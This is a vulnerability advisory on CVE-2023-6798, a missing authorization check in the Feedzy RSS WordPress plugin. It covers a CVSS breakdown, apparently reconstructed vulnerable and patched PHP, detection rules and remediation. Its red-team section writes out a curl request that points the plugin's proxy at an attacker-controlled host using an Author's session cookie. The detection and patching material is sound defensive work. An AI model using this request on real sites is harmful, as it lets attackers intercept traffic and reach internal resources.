CVE-2023-6798

Executive Summary

CVE-2023-6798 is a missing authorization vulnerability in the RSS Aggregator by Feedzy – Feed to Post, Autoblogging, News & YouTube Video Feeds Aggregator WordPress plugin, affecting all versions up to and including 4.3.2. The plugin fails to perform a capability check when processing settings update requests, allowing authenticated attackers with at least Author-level access to modify arbitrary plugin settings. This includes the ability to change proxy settings, which could be abused to exfiltrate data or perform server-side request forgery (SSRF) attacks. The vulnerability has a CVSS score of 5.4 (Medium) and currently has no known public exploit or patch.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs Author-level access.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality Impact (C): None (N) – No direct data disclosure.
• Integrity Impact (I): Low (L) – Settings can be modified.
• Availability Impact (A): Low (L) – Settings changes may disrupt functionality.

Threat Level: Medium. The vulnerability requires authentication but can be exploited by low-privilege users to alter plugin behavior, potentially leading to further compromise.

Deep Dive & Mechanics

The vulnerability resides in the plugin's settings update mechanism. The plugin registers an AJAX action or REST endpoint to handle settings updates, but it does not verify that the current user has the required capability (e.g., manage_options) before processing the request. As a result, any authenticated user with Author-level access or higher can send a crafted request to modify plugin settings.

The most critical setting exposed is the proxy configuration. By changing the proxy settings, an attacker can redirect outgoing HTTP requests from the plugin (e.g., RSS feed fetches) to an attacker-controlled server. This can be used to:

• Exfiltrate sensitive data from the WordPress site.
• Perform SSRF attacks against internal network resources.
• Inject malicious content into fetched feeds.

The attack flow:

1. Attacker logs in with an Author-level account.
2. Attacker sends a POST request to the plugin's settings endpoint with modified proxy settings.
3. The plugin saves the new settings without checking capabilities.
4. Subsequent feed fetches use the attacker-controlled proxy.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.3.2):

add_action('wp_ajax_feedzy_save_settings', 'feedzy_save_settings_callback');
function feedzy_save_settings_callback() {
    // No capability check
    $settings = $_POST['settings'];
    update_option('feedzy_settings', $settings);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_feedzy_save_settings', 'feedzy_save_settings_callback');
function feedzy_save_settings_callback() {
    // Capability check added
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $settings = $_POST['settings'];
    update_option('feedzy_settings', $settings);
    wp_die();
}

The fix requires adding a current_user_can('manage_options') check before processing the settings update.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Feedzy plugin <= 4.3.2
• Author-level account credentials

Exploitation Steps:

1. Log in to WordPress as an Author.
2. Craft a POST request to wp-admin/admin-ajax.php with the following parameters:
   • action: feedzy_save_settings
   • settings[proxy]: http://attacker-controlled-proxy:8080
3. Send the request using a tool like curl:

   curl -X POST 'http://target/wp-admin/admin-ajax.php' \
     -d 'action=feedzy_save_settings&settings[proxy]=http://attacker-controlled-proxy:8080' \
     --cookie 'wordpress_logged_in_xxx=...'
   

4. Verify that the proxy setting is updated by checking the plugin's settings page or by triggering a feed fetch.

Expected Outcome: The plugin's proxy setting is changed to the attacker's proxy, allowing interception of outgoing requests.

Blue Team

Detection Steps:

1. Monitor for unauthorized changes to the feedzy_settings option in the WordPress database.
2. Look for AJAX requests to admin-ajax.php with action=feedzy_save_settings from non-admin users.
3. Check for unusual proxy configurations in the plugin settings.

Hunting Query:

SELECT * FROM wp_options WHERE option_name = 'feedzy_settings' AND option_value LIKE '%proxy%';

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/feedzy-rss-feeds/feedzy-rss-feeds.php (version <= 4.3.2)
• Database: wp_options table with option_name = 'feedzy_settings' containing modified proxy values
• Network: Outbound HTTP requests to unexpected proxy servers
• Logs: AJAX requests to admin-ajax.php with action=feedzy_save_settings from Author-level users

Detection Engineering

YARA Rule

rule CVE_2023_6798_Feedzy_Missing_Capability {
    meta:
        description = "Detects vulnerable Feedzy plugin code missing capability check"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-6798"
    strings:
        $func = "feedzy_save_settings_callback"
        $ajax = "wp_ajax_feedzy_save_settings"
        $no_check = "current_user_can" nocase
    condition:
        $func and $ajax and not $no_check
}

Sigma Rule

title: Feedzy Plugin Settings Modified by Non-Admin User
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects when a non-admin user modifies Feedzy plugin settings via AJAX
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        action: "feedzy_save_settings"
        user_role: "author"
    condition: selection
falsepositives:
    - Authorized plugin updates by administrators
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-6798 Feedzy Plugin Settings Modification Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=feedzy_save_settings"; http_client_body;
    content:"settings"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Restrict Author-level accounts to only trusted users.
3. Monitor for unauthorized settings changes using the provided detection rules.

Long-term Fix:

• Apply the vendor patch when available (add current_user_can('manage_options') check).
• Implement a Web Application Firewall (WAF) rule to block AJAX requests to feedzy_save_settings from non-admin users.

Workaround:

• Use a custom plugin or code snippet to add capability checks:

  add_action('wp_ajax_feedzy_save_settings', function() {
      if (!current_user_can('manage_options')) {
          wp_die('Unauthorized', 403);
      }
  }, 1);
  

Valters IT
Securing WordPress ecosystems one CVE at a time.